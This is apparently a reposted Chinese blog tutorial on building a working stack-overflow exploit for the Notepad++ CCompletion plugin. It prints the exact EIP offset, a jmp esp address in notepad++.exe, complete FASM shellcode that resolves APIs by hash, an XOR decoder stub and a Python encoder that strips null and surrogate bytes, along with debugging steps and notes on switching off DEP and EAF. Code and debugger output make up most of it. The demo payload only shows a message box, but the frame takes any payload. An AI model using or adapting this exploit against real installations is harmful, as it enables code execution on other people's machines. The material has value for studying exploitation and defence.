欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]经典栈溢出利用详解一例—Notepad++插件CCompletion

[原创]经典栈溢出利用详解一例—Notepad++插件CCompletion

经典栈溢出利用详解一例—Notepad++插件CCompletion
回顾
        上篇文章(http://bbs.pediy.com/showthread.php?t=184409)介绍了Noetpad++程序中的一个插件CCompletion存在的一个因使用不安全的lstrcpyW函数拷贝字符串造成的栈溢出漏洞,并且确定了漏洞的大致利用入口,已经找到了可控EIP数据在整个输入数据中的精确位置,但是如果要写出可以利用的Shell Code还需是需要费一番功夫去调试和修正的。这篇文章就按照前面所说的那个漏洞的利用入口来详细的介绍一个可用Shell Code的构造过程。
Shell Code框架构造
        首先要回想一下我们已知的漏洞情况,还记得可控EIP的精确位置么?
我们构造的数据的0x00000430个字节处的一个DWORD值就是我们可控EIP的值。
这里利用一个简单的数据布局图来说明一下:

        P1:静态数据布局
上图中整个数据块就是我们将要输入到Notepad中的数据,其中在偏移0x430处的一个四字节DWORD值在漏洞触发时候将会被程序通过ret指令取出来弹入EIP寄存器,这时候程序流程就会转向到EIP的值,而ESP的值会变成内存中对应于0x00000434处偏移的栈地址,然后程序会从0xXXXXXXXX处开始执行。
知道这个过程之后我们就可以开始构建Shell Code的框架了。首先考虑一点上图中0xXXXXXXXX值我们应该设置为什么值?这个是一般栈溢出利用的一个敲门砖,非常重要,我们的目的是让程序的执行流程进入我们构造的Shell Code并且正确执行,所以很容易想到,这个值就直接设置成我们的Shell Code所在的地址不就行了么,比如把Shell code的真正内容防止在上图中的0x00000434处开始,然后直接把EipValue设置成0x00000434,这个错误就太明显了……因为栈的内存地址并不一定是永远不变的,虽然有些程序每次运行的时候栈地址都相同,所以我们写Shell Code的时候应该尽量避免这种于Shell Code自身地址的HardCode。所以我们应该像一个更好的方法来让程序流程进入我们的ShellCode中。稍微学习过这方面的知识的同学应该都知道jmp esp方法,这种方法相对HardCode EIP值的方法确实优雅了不少。这种方法可以用下图来展示:

P2:通过JMP ESP方法跳转
上图应该很清楚的说明了JMP ESP的用法了,所以我们要做的就是在偏移0x430处放置一个地址,这个地址所指向的内存中存在一条jmp esp指令,那这个地址放什么?一般的做法是在系统自带的且进程必须的几个dll中搜索出包含这条指令的地址,比如Kernle32.dll,ntdll.dll等。比如我们可以在Kernel32.dll中搜索:

0:009> .effmach x86

Effective machine: x86 compatible (x86)

0:009:x86> lmvm kernel32

start             end                 module name

76cc0000 76dd0000   KERNEL32   (pdb symbols)          f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb

   Loaded symbol image file: KERNEL32.dll

   Image path: KERNEL32.dll

   Image name: KERNEL32.dll

   Timestamp:        Fri Aug 02 09:53:25 2013 (51FB1115)

   CheckSum:         00111A9F

   ImageSize:        00110000

…………………………………………………

0:009:x86> s 76cc0000 L00110000 ff e4

76ce8bd5  ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff  ..E.v...........

0:009:x86> u 76ce8bd5  

KERNEL32!BasepCheckCacheExcludeCustom+0x54:

76ce8bd5 ffe4            jmp     esp

76ce8bd7 45              inc     ebp

……………………………………………………………

这样我们就得到了一个内存地址0x76ce8bd5,我们可以用这个地址填入之前的Shell Code之前的EipValue中。但是这种方法有两个依赖:
1.        kernel32.dll在内存中的地址固定
2.        jmp esp这个指令在kernel32.dll中的偏移固定,就是需要该模块固定,没有引入代码增删的修改。
仔细想一想这两个条件都是很难保证的,首先kernel32.dll这个模块在早期的操作系统中没有大范围开启ASLR缓解方案的时候可以保证,但是现在只要是windows vista和以上的系统一般都开启了ASLR,每次重新开机之后Kernel32.dll在进程中的基址都会发生改变,所以我们就不能保证写一次Shell Code可以在同一台机器上正常执行。第二条,如果是不同的操作系统,那么kernel32.dll这个模块本身就有二进制级别的差异,所以在一个系统中这个偏移内是jmp esp,换一个系统之后由于kernel32.dll模块不一样,就导致这个地址内不是jmp esp指令。对于系统模块,ASLR的作用是保证每次启动系统的时候模块地址都是随机加载的,对于进程模块而言,ASLR的作用是保证每次程序重新启动的时候模块加载机制都是随机的。
        所以要想找到一个合适的jmp esp作为跳板:
1.        尽量避开操作系统本身的模块,以求系统版本独立性
2.        必须找到一个没有开启ASLR特性,并且加载地址固定的模块
按照上面的要求,应该最先想到的就是进程的EXE模块,因为这个模块在没有开启ASLR特性的时候一定是加载到0x00400000处的,如果成功找的话那这个jmp esp跳板就只跟存在漏洞的目标程序版本相关,跟系统版本无关了。很幸运,Noetpad++.exe这个模块并没有开启ASLR特性,所以这个模块每次程序启动的时候加载地址都是固定的。所以我们在Notepad++.exe模块中查找一下jmp esp指令:
0:009:x86> lmvm notepad*

start             end                 module name

00400000 005c9000   notepad__   (deferred)             

    Image path: F:\Program Files (x86)\NotePad++\notepad++.exe

    Image name: notepad++.exe

    Timestamp:        Tue Dec 10 18:54:54 2013 (52A6F2FE)

    CheckSum:         0018B6E1

    ImageSize:        001C9000

    File version:     6.5.2.0

    Product version:  6.5.2.0

    File flags:       0 (Mask 3F)

    File OS:          40004 NT Win32

    File type:        1.0 App

    File date:        00000000.00000000

    Translations:     0409.04b0

    CompanyName:      Don HO don.h@free.fr

    ProductName:      Notepad++

    InternalName:     npp.exe

    OriginalFilename: Notepad++.exe

    ProductVersion:   6.52

    FileVersion:      6.52

    FileDescription:  Notepad++ : a free (GNU) source code editor

    LegalCopyright:   Copyleft 1998-2013 by Don HO

0:009:x86> s 00400000 L001C9000 ff e4

0044c4ed  ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc  ...._^..........

0051a88b  ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00  ...N.......N....

……………………………………

0:009:x86> u 0044c4ed  

notepad__+0x4c4ed:

0044c4ed ffe4            jmp     esp

……………………………………
分析到这里,我们已经找到了必要数据来进行Shell Code的编写了,整个Shell Code的结构就按照上面的P2图所示的方法来构造,因为仅仅是用于学习所以Shell Code的功能非常简单,就是弹出一个Messagebox,该代码采用我的前一篇文章(http://bbs.pediy.com/showthread.php?t=172496)中的已有的用于PE感染的Shell Code,该Shell Code的具体实现方法请参见之前的文章,这里主要说明一下如何把这个Shell Code应用于本文中的漏洞中。
        首先编译Shell Code的汇编代码,我这里所有的汇编代码都是采用的FASM汇编引擎。
原始Shell Code:
LoadLibraryExA_Digest	equ	0xc0d83287

LoadLibraryA_Digest		equ	0x0C917432

MessageBoxA_Digest		equ	0x1E380A6A

FreeLibrary_Digest		equ	0x30BA7C8C

use32

shellcode_start:

			push ebp		;// 保存栈帧

			mov ebp, esp

			;// 获取USER32.DLL的基址

			call @f

			du "USER32.DLL",0

		@@:

			call get_module_base

			test eax, eax

			jz ._shellcode_return

			push eax				;// [ebp-4]

			;// 获取MessageBoxA的地址

			push MessageBoxA_Digest

			push eax

			call get_proc_address_by_digest

			test eax, eax

			jz ._shellcode_return

			;// Shell Code. Shion  [Shel    l_Co  de._  Shio   n000

			call @f

			db "Back Door Opend!", 0

		@@:

			pop edi

			call @f

			db 'HA...', 0

		@@:

			pop esi

			push 00000040h

			push esi

			push edi

			push 0

			call eax

._shellcode_return:

			leave

			jmp $

;/************************************************************************/

;/*  some useful procs for shell code programming.

;/*  tishion

;/************************************************************************/

use32

get_peb:

			mov eax, 30h

			mov eax, [fs:eax]			;// eax = ppeb

			ret

;/************************************************************************/

;/*  Get base address of  module

;*  tishion

;*  2013-05-26 13:45:20

;*  IN:

;*		ebp+8 = moudule name null-terminate string [WCHAR]

;*  

;*  OUT: 

;*		eax = ntdll.base

;*		#define _Wcsnicmp_Digest		0x548b2e5f

;/************************************************************************/

use32

get_module_base:

			push ebp

			mov ebp, esp

			call get_ntdll_base

			jz ._find_modulebase_done

			push 548b2e5fh				;// hash of _wcsnicmp

			push eax

			call get_proc_address_by_digest

			test eax, eax				;// _wcsnicmp

			jz ._find_modulebase_done

			push eax					;// [ebp-04h]_wcsnicmp

			call get_peb

			test eax, eax

			jz ._find_modulebase_done

			mov eax, [eax+0ch]			;// eax = pLdr			pLdr:[PEB_LDR_DATA]	

			mov esi, [eax+1ch]

			jmp ._compare_moudule_name

	._find_modulebase_loop:

			mov esi, [esi]				;// esi = pLdr->InInitializationOrderModuleList

	._compare_moudule_name:

			test esi, esi

			jz ._find_modulebase_done

			xor edi, edi

			mov di, word [esi+1ch]		;// length

			push edi

			push dword [esi+20h]		;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]

			push dword [ebp+08h]

			mov edi, [ebp-04h]

			call edi

			test eax, eax

			jnz ._find_modulebase_loop

			mov eax, [esi+08h]			;// eax = pLdrDataTableEntry.DllBase

	._find_modulebase_done:

			leave

			ret 4

;/************************************************************************/

;/*  Get base address of ntdll.dll module

;*  tishion

;*  2013-05-26 13:45:20

;*  

;*  OUT: 

;*		eax = ntdll.base

;/************************************************************************/

use32

get_ntdll_base:

			call get_peb

			test eax, eax

			jz ._find_ntdllbase_done

			mov eax, [eax+0ch]		;// eax = pLdr			pLdr:[PEB_LDR_DATA]	

			mov eax, [eax+1ch]		;// eax = pLdr->InInitializationOrderModuleList

			mov eax, [eax+08h]		;// eax = pLdrDataTableEntry.DllBase

	._find_ntdllbase_done:

			ret

;/************************************************************************/

;/*  Get function name digest

;*  tishion

;*  2013-05-26 13:45:20

;*  

;*  IN: 

;*		esi = function name 

;*  OUT: 

;*		edx = digest

;/************************************************************************/

use32

get_ansi_string_digest:			

			push eax

			xor edx, edx

		._next_char:

			xor eax, eax

			lodsb

			test eax, eax

			jz ._done

			ror edx, 7

			add edx, eax

			jmp ._next_char

		._done:

			pop eax

			ret

;/************************************************************************/

;/*  Get function address by searching export table

;*  tishion

;*  2013-05-26 13:50:13

;*  

;*  IN: 

;*		[ebp+8]		= module base 

;*		[ebp+0ch]	= function name digest

;*  OUT: 

;*		eax			function address (null if failed)

;/************************************************************************/

use32

get_proc_address_by_digest:

			push ebp

			mov ebp, esp

			mov eax, [ebp+8]

			add eax, [eax+3ch]				;// eax = ImageNtHeader			IMAGE_NT_HEADERS  

			push eax				;// [ebp-04h]

			;//add eax, 18h			;// eax = ImageOptionalHeader	IMAGE_OPTIONAL_HEADER

			;//add eax, 60h			;// eax = ImageExportDirectoryEntry	IMAGE_DIRECTORY_ENTRY_EXPORT

			;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:

			add eax, 78h

			mov eax, [eax]			;// eax = RVA IMAGE_EXPORT_DIRECTORY

			add eax, [ebp+08h]		;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY

			mov ecx, eax

			mov eax, [ecx+20h]

			add eax, [ebp+08h]		;// eax = AddressOfNames

			push eax				;// [ebp-08h]	导出名称地址表

			mov eax, [ecx+24h]

			add eax, [ebp+08h]		;// eax = AddressOfNameOrdinals

			push eax				;// [ebp-0ch]	导出序号表

			mov eax, [ecx+1ch]

			add eax, [ebp+08h]		;// eax = AddressOfFunctions

			push eax				;// [ebp-10h]	导出RAV地址表

			push dword [ecx+10h]	;// [ebp-14h]ordinals base					

			push dword [ecx+14h]	;// [ebp-18h]NumberOfFunctions		

			push dword [ecx+18h]	;// [ebp-1ch]NumberOfNames

			mov ecx, [ebp-1ch]

			mov ebx, ecx

			mov eax, [ebp-08h]

	._find_func:

			mov edi, ebx

			sub edi, ecx

			mov esi, [eax+edi*4]

			test esi, esi			;// esi是否NULL

			loope ._find_func

			inc ecx

			add esi, [ebp+08h]

			call get_ansi_string_digest

			cmp edx, [ebp+0ch]

			loopne ._find_func		;// ecx 为目标函数在函数名数组中的index

			xor edx, edx

			mov eax, [ebp-0ch]

			mov dx, [eax+edi*2]	

			cmp edx, [ebp-18h]

			jae ._return_null

			mov eax, [ebp-10h]		;// eax = AddressOfFunctions

			mov eax, [eax+edx*4]	;// edi = RVA地址数组的地址  edi+4*序号 即为 某一函数的RVA地址

			add eax, [ebp+08h]

			jmp ._function_found_done

	._return_null:

			xor eax, eax

	._function_found_done:

			leave

			ret 8

经过编译之后打开查看二进制文件:

P3:未编码的Shell Code
这么多不堪入目的0x00,要知道我们的数据要进入栈是要通过lstrcpyW这个函数,所以我们的Shell  Code必须按照UNICODE的编码方式来构造,如果我们的Shell Code中出现了0x0000这样的字符,那就被认为是WCHAR型的NULL结束符,所以后面的Shell Code就无法进入目标栈区了,所以这段Shell  Code是无法直接使用的,必须经过变形,去除其中的0x00,两个连续的0x00不一定会引起截断,但是三个连续的0x00一定会引起截断。为了严格一点我们要求我们的Shell Code中不出现任何0x00。如何做?
Shell Code变形,其实类似加壳和脱壳一样,就是先把包含实际功能的Shell Code用一种算法编码一下,在这里我称之为Shell  Code Payload,然后把payload塞到整个Shell Code中,在Shell Code中添加一段用于解码payload的代码,当Shell Code获取执行权限之后先把payload中的所有数据(代码)解码,最后在跳入到解码后的payload中执行,但是有一点,解码的代码编译后也不能包含截断字符。这样的话,我们就调整一下Shell Code的结构吧,在这里要清除Shell Code和真正的Payload之间的关系,通过上面的描述,之前的那段Shell Code代码现在就被我们当作Payload来使用了,所以我们需要再写一个包装Payload的外壳,之前的方法是Shell Code紧接着EipValue,现在调整一下之后的结构如下图所示:

P4:调整后的Shell Code结构
下面就要开始进行Shell Code变形的编码工作了,Payload的代码无需改变,只需要知道Payload的长度就行了。然后要选择一种变形的算法,一般采用异或算法,用Payload的每一个字节与一个因子factor做异或,生成一个不包含截断字符的Payload,然后在解码时再与那个因子factor做异或,这样就可以解码了。在这里我鉴于复杂度的考虑没有选择使用固定的因子来做异或,而是采用了每个字节与这个字节所在的偏移值进行异或,生成的Payload如下:

P5:编码之后的payload
下面就要开始编写payload的包装了,代码如下:
TARGET_EIP_OFFSET 		equ 0x430

use32

			db 0xff, 0xfe				;// Unicode bom

org 0x0

			times 0x80 du 'A'

			shellcode_start:

			;// shellcode解变形

			;// 先让esp指向shellcode_start处

			sub sp, (ESP_OFFSET - shellcode_start)			 ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00

			mov edi, esp 	;// 寻址payload

			;// 让edi指向payload_start

			add edi, (payload_start - shellcode_start)

			mov cx, 'PL'	;// payload的长度

		.continue:

			mov al, byte [edi]

			xor al, cl

			mov byte [edi], al

			inc edi

			loopnzw .continue

			;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,

			;// 所以首先调整ESP的值到shellcode代码区之前32个字节处

			;// 否则shellcode执行中会破坏shellcode代码

			sub esp, 0x20

payload_start:

		times (TARGET_EIP_OFFSET - payload_start) db 'P'				;// 为Payload预留的代码空间

payload_end:

org TARGET_EIP_OFFSET					;// 调整对齐伪指令

			dd  0x0044C4ED			;// 我们已知的JMP ESP指令的地址

ESP_OFFSET:

			jmp shellcode_start			;// 注意此时esp指向这里

			;// 多来点填充尾部

			times 400 du 'E'

为了一次到位,代码中把所有的占位符都以及各包含进来了,编译完之后只需要把payload填充到代码中为payload预留的代码空间中就行了。

P6:生成的Shell Code框架
然后使用010Editor,把payload复制到payload的预留空间,保存此文件,利用此文件去触发漏洞,结果并没有我们预想的弹出我们期待的MessageBox。
第一轮修正:尴尬的UNICODE,去除Shell Code中无法编码的Unicode代理对(0xD800 ~0xDFFFF)
        本以为我们的Shell Code已经可以正确运行了,但是结果却失败了,然后就跟踪调试,看一下到底是什么地方出了问题,最需要怀疑的就是我们的原始数据是否正确进入了程序,通过对比在解码前的内存数据和我们的Shell Code的二进制文件的数据发现,有几个地方的数据变了:

P7:Shell Code数据改变
统计之后发现存在如下关系,这个需要经验来判断了,如果你对字符串编码一无所知,对于这个问题基本上是无解了,所以漏洞挖掘和利用对一个人的综合技能要求相对较高。
37 DE 	?	FD FF FD FF

57 DE 	?	FD FF FD FF

54 DF 	?	FD FF FD FF

14 D8 	?	FD FF FD FF

01 DB 	?	FD FF FD FF

72 DA 	?	FD FF FD FF

CE DB 	?	FD FF FD FF

D8 D9 	?	FD FF FD FF

对于这个问题,我最初只知道是因为编码转换的问题,但是发现他们都存在一个特征,上面所有的字节串转成一个WORD之后值都在0XD800之后,就这一个线索,然后拼接个关键字Unicode 0xD800去百度谷歌,最终在维基百科(http://zh.wikipedia.org/wiki/UTF-16)上面找到了如下解释:

P8:Unicode中的陷阱码位
很不幸,我们的payload正好掉进了这些数据的陷阱中,windows在进行编码转换的时候遇到上述这些码位就直接编码错误了,然后就编码成了fd ff fd ff。所以我们还要改进算法,以求能避免出现位于0xD800~0xDFFF内的码位了。这里起先是采用了增加一个factor多进行一个异或,通过调整factor来找到符合要求的payload,但是后来意识到自己把简单问题复杂化了,所以就重新修改了算法,直接异或一个固定factor来编码,然后调整factor来寻找。
当然这个过程自然可以自动化,所以写个Python 脚本来做吧。
#!/usr/bin/env python

#coding:utf-8

"""

  Author:  tishion --<tishion#163.com>

  Purpose: 

  Created: 2014/2/22

"""

from struct import *

def encode_sc(srcfn, dstfn, s=0):

    """

    shell code变形方法:

        把shell code中的每一个字节与该字节在整个单独的shell code中的

        偏移值进行异或,然后再与一个salt做一次异或。

        salt的存在主要是为了寻找一个满足各种要求的shell code变体

    """

    try:

        srcf = open(srcfn, 'rb')        #shell code源文件

        dstf = open(dstfn, 'wb')        #变形后的目标文件

        OneByte = Struct('B')

        srcstr = srcf.read()

        dststr = ''

        salt = s & 0xFF

        for i in range(0, len(srcstr)):

            srcbyte = OneByte.unpack(srcstr[i])[0]

            #dstbyte = (srcbyte ^ (i + salt)) & 0xFF       #这种算法最终无法找到满足要求的变形结果

            #dstbyte = (srcbyte ^ salt ^ i) & 0xFF           #通过这中算法找到了满足的变形结果salt=0x20

            dstbyte = (srcbyte ^ salt) & 0xFF           #

            ##############################################################

            #判断条件,这里的代码用于判断生成的shell code是否符合某些要求

            if (

                (dstbyte == 0) or 

                (((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF))

                ):

                #print 'i=', i, 'dstbyte=', hex(dstbyte)

                srcf.close()

                dstf.close()

                return False

            ###############################################################

            dststr = dststr + OneByte.pack(dstbyte)

            print '[%d]0x%02x ==> 0x%02x' % (i, srcbyte, dstbyte)

        dstf.write(dststr)

        srcf.close()

        dstf.close()

    except Exception, e:

        print 'Exception:', e

        return False

    return True

if __name__ == '__main__':

    srcfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin'

    dstfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______'

    #encode_sc(srcfn, dstfn, 0x20)

    #exit()

    for i in range(2, 0xff):

        if encode_sc(srcfn, dstfn, i):

            print 'OK @salt =', hex(i)

            break

        else:

            print 'Failed @salt =', hex(i)

            pass

运行结果:
OK @salt = 0x43

因子就确定为0x43,然后重新使用该因子来编码,之后就解决了这个UNICODE的编码陷阱问题。编码之后的Shell Code如下图所示:

P9:新算法编码之后的payload
因为我们改变了编码算法,所以对应的解码算法也要做修改,所以Shell Code的编码就要修改:
TARGET_EIP_OFFSET 		equ 0x430

PAYLOAD_ENCODE_SALT		equ 0x43

PAYLOAD_LENGTH			equ 0x154

use32

			db 0xff, 0xfe

org 0x0

			times 0x80 du 'A'

shellcode_start:

			;// shellcode解变形

			;// 先让esp指向shellcode_start处

			;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00

			sub sp, (ESP_OFFSET - shellcode_start)

			mov esi, esp 	;// 寻址payload

			;// 让esi指向payload_start

			add esi, (payload_start - shellcode_start)

			mov cx, PAYLOAD_LENGTH	;// payload的长度

		.continue:

			mov al, byte [esi] 

			xor al, PAYLOAD_ENCODE_SALT

			mov byte [esi], al

			inc esi

			loopnzw .continue

			nop

			;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,

			;// 所以首先调整ESP的值到shellcode代码区之前32个字节处

			;// 否则shellcode执行中会破坏shellcode代码

			sub esp, 0x20

payload_start:

		times (TARGET_EIP_OFFSET - payload_start) db 'P'

payload_end:

org TARGET_EIP_OFFSET					;// 调整对齐伪指令

			dd  0x0044C4ED				;// 我们已知的JMP ESP指令的地址

ESP_OFFSET:

			jmp shellcode_start			;// 注意此时esp指向这里

			;// 多来点填充尾部

			times 400 du 'E'
                       
然后用生成的Shell Code去触发漏洞场景,结果还是悲剧的失败了,程序跑飞了,继续调试跟踪发现:

P10:Shell Code数据被位置原因修改。
位于整个Shell Code的偏移0x208处的一个WORD被修改为了00,那我们还要继续修正我们的Shell Code。
第二轮修正:不可抗拒力,填充Padding数据避免Shell Code被程序修改
        为什么Shell Code的0x208处被修改为0x0000了呢?这个问题我们可以继续深究,但是也可以用别的方法绕过这的数据扰乱,方法就是把该偏移附近的代码修改为无用数据,利用占位的方式在这里进行padding。占位的时候可以根据精确定位只占用目标偏移的固定的字节的数据,但是为了节省时间(因为这个Shell Code的研究已经话费了5个小时的时间了,因为之前采用了一种复杂的异或方式,囧……),所以这里我们直接padding掉0x10个字节,具体的padding方法是跟踪代码,然后对照我们的payload的汇编源码,确定该偏移位于我们的payload代码的大概位置,经过定位之后确定padding的地方应该在如下代码位置:
                       
;/************************************************************************/

;/*  Get function name digest

;*  tishion

;*  2013-05-26 13:45:20

;*  

;*  IN: 

;*		esi = function name 

;*  OUT: 

;*		edx = digest

;/************************************************************************/

use32

get_ansi_string_digest:			

			push eax

			xor edx, edx

		._next_char:

			xor eax, eax

			lodsb

			test eax, eax

			jz ._done

			ror edx, 7

			add edx, eax

			jmp ._next_char

		._done:

			pop eax

			ret

;/************************************************************************/

;/*  Get function address by searching export table

;*  tishion

;*  2013-05-26 13:50:13

;*  

;*  IN: 

;*		[ebp+8]		= module base 

;*		[ebp+0ch]	= function name digest

;*  OUT: 

;*		eax			function address (null if failed)

;/************************************************************************/

use32

times 0x10 db 0x90							;//在此处填充16个nop

get_proc_address_by_digest:

			push ebp

			mov ebp, esp

			mov eax, [ebp+8]

			add eax, [eax+3ch]				;// eax = ImageNtHeader			IMAGE_NT_HEADERS  

			push eax				;// [ebp-04h]

这样修改payload之后重新编译,我们的payload代码就会增加了16个字节,所以shell Code的代码也要进行修改,因为Shell Code中有一个HardCode的值,那就是payload的长度,所以我们需要修改Shell Code代码中的一个常量:
PAYLOAD_LENGTH			equ 0x154

修改改为:
PAYLOAD_LENGTH			equ 0x164

经过如上修改,重新编译Payload和Shell Code,然后把payload复制到Shell Code中的占位区,然后用新的Shell Code去验证:

P11:EMET提示DEP保护
额,遇到了DEP保护,所以这里要说明我们的Shell Code并没有针对DEP等其他缓解方案进行绕过,所以我们关闭Notepad++.exe的DEP和EAF再来进行验证把。

P12:关闭DEP和EAF保护。
然后再来一遍:

P13:Windows7系统下的Shell Code成功执行。
然后换个系统,Windows XP SP3:

P14:Windows XP SP3下的Shell Code执行成功
补充说明:
Noetpad++.exe的版本:6.5.2的UNICODE版本
CCompletion插件的版本:1.19
还有很多细节问题本文没有深入的介绍,只能靠有兴趣的自己去实践一遍然后挖掘这些问题了。
可用Shell Code文件:
shellcode.txt

下载本文所有相关代码和资源:
经典栈溢出利用详解一例-Notepad++插件CCompletion.7z

另外建了个专门研究漏洞的群,有兴趣的同学可以进来交流:专注技术方法研究,拒绝0Day公开讨论。
181872866

上传的附件 image001.png
image002.png
image003.png
image004.png
image005.png
image006.png
image007.png
image008.png
image009.png
image010.png
image011.png
image012.png
image013.png
image014.png
经典栈溢出利用详解一例-Notepad++插件CCompletion.7z
shellcode.txt

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功